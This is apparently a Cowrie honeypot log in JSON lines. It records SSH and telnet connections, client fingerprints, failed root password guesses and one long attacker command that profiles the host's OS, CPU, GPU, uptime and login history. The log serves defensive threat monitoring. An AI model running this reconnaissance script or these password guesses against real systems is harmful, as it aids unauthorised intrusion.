{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:25.909446Z","src_ip":"2.57.122.209","session":"c3d0f8896465","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:25.912843Z","src_ip":"2.57.122.209","session":"c3d0f8896465","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:25.915637Z","src_ip":"2.57.122.209","session":"c3d0f8896465","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:25.918204Z","src_ip":"2.57.122.209","session":"c3d0f8896465","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:25.921327Z","src_ip":"2.57.122.209","session":"c3d0f8896465","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:25.923495Z","src_ip":"2.57.122.209","session":"c3d0f8896465","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:25.925695Z","src_ip":"2.57.122.209","session":"c3d0f8896465","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:25.928993Z","src_ip":"2.57.122.209","session":"c3d0f8896465","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:25.932431Z","src_ip":"2.57.122.209","session":"c3d0f8896465","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:25.935229Z","src_ip":"2.57.122.209","session":"c3d0f8896465","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:26.022931Z","src_ip":"91.92.40.4","session":"47c19f154d41","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:26.367221Z","src_ip":"2.57.122.209","session":"c3d0f8896465","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:26.759627Z","src_ip":"2.57.122.209","session":"c3d0f8896465","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":55828,"dst_ip":"10.17.0.5","dst_port":22,"session":"f38f8527ab7e","protocol":"ssh","message":"New connection: 193.37.70.224:55828 (10.17.0.5:22) [session: f38f8527ab7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:30.320785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:30.325331Z","src_ip":"193.37.70.224","session":"f38f8527ab7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:30.415464Z","src_ip":"193.37.70.224","session":"f38f8527ab7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"271178","message":"login attempt [root/271178] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:30.685538Z","src_ip":"193.37.70.224","session":"f38f8527ab7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:31.777738Z","src_ip":"193.37.70.224","session":"f38f8527ab7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":40030,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e4111c03bd1","protocol":"telnet","message":"New connection: 107.6.151.170:40030 (159.203.135.109:23) [session: 6e4111c03bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:53.300219Z"}
{"eventid":"cowrie.session.closed","duration":73.21918892860413,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:01.173481Z","src_ip":"137.184.5.188","session":"9bc12abefdaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.205.74","src_port":35080,"dst_ip":"10.17.0.5","dst_port":22,"session":"36cc0aef9963","protocol":"ssh","message":"New connection: 161.35.205.74:35080 (10.17.0.5:22) [session: 36cc0aef9963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:08.599990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:08.605627Z","src_ip":"161.35.205.74","session":"36cc0aef9963","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:08.691025Z","src_ip":"161.35.205.74","session":"36cc0aef9963","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789123456789","message":"login attempt [root/123456789123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:09.063773Z","src_ip":"161.35.205.74","session":"36cc0aef9963","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:10.149274Z","src_ip":"161.35.205.74","session":"36cc0aef9963","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":42134,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa1a7eef2e43","protocol":"ssh","message":"New connection: 87.251.79.125:42134 (10.17.0.5:22) [session: aa1a7eef2e43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:22.702303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:22.705973Z","src_ip":"87.251.79.125","session":"aa1a7eef2e43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:22.772410Z","src_ip":"87.251.79.125","session":"aa1a7eef2e43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"goncharova","message":"login attempt [root/goncharova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:22.985203Z","src_ip":"87.251.79.125","session":"aa1a7eef2e43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:24.056709Z","src_ip":"87.251.79.125","session":"aa1a7eef2e43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":43570,"dst_ip":"10.17.0.5","dst_port":22,"session":"3aeb371d1fd7","protocol":"ssh","message":"New connection: 103.176.20.57:43570 (10.17.0.5:22) [session: 3aeb371d1fd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:25.460608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:25.463998Z","src_ip":"103.176.20.57","session":"3aeb371d1fd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:25.707483Z","src_ip":"103.176.20.57","session":"3aeb371d1fd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.08941340446472,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:26.389485Z","src_ip":"107.6.151.170","session":"6e4111c03bd1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"040985","message":"login attempt [root/040985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:26.440765Z","src_ip":"103.176.20.57","session":"3aeb371d1fd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:27.687646Z","src_ip":"103.176.20.57","session":"3aeb371d1fd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.12.18.199","src_port":34942,"dst_ip":"159.203.135.109","dst_port":22,"session":"60969354ced0","protocol":"ssh","message":"New connection: 106.12.18.199:34942 (159.203.135.109:22) [session: 60969354ced0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:29.059974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:30.405282Z","src_ip":"106.12.18.199","session":"60969354ced0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:30.408019Z","src_ip":"106.12.18.199","session":"60969354ced0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00634694099426,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:35.430377Z","src_ip":"167.172.116.158","session":"a324b403247e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":49598,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c1aa2e42048","protocol":"telnet","message":"New connection: 137.184.5.188:49598 (159.203.135.109:23) [session: 1c1aa2e42048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:44.687231Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42594,"dst_ip":"159.203.135.109","dst_port":23,"session":"860bc6e035cb","protocol":"telnet","message":"New connection: 170.64.224.25:42594 (159.203.135.109:23) [session: 860bc6e035cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:52.852559Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.205.74","src_port":57946,"dst_ip":"10.17.0.5","dst_port":22,"session":"a095addec018","protocol":"ssh","message":"New connection: 161.35.205.74:57946 (10.17.0.5:22) [session: a095addec018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:57.827122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:57.830753Z","src_ip":"161.35.205.74","session":"a095addec018","protocol":"ssh"}
